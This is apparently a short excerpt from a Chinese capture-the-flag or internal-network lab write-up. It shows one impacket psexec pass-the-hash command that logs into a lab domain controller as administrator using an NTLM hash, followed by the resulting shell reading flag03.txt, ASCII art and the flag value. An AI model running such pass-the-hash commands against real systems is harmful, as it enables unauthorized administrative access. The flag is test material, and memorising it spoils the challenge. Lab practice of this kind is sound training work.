21
python D:\red\内网\免杀工具包\免杀工具包\impacket-0.12.0\examples\psexec.py xiaorang.lab/administrator@172.22.12.12  -hashes 00000000000000000000000000000000:aa95e708a5182931157a526acf769b13 -codec gbk



C:\Users\Administrator> type flag03.txt
.-. ___
/ \ ( )
| .`. ; | | .---. .--. .-. .--.
| |(___) | | / .-, \ / \ / \ / \
| |_ | | (__) ; | ; ,-. ' | .-. ; (___)`. |
( __) | | .'` | | | | | | | | | .-' /
| | | | / .'| | | | | | | | | | '. \
| | | | | / | | | | | | | | | | ___ \ '
| | | | ; | ; | | ' | | | ' | | ( ) ; |
| | | | ' `-' | ' `-' | ' `-' / \ `-' /
(___) (___) `.__.'_. `.__. | `.__,' ',__.'
( `-' ;
`.__.


flag03: flag{317621a6-bb66-4154-b157-365c871d52d2}

拿下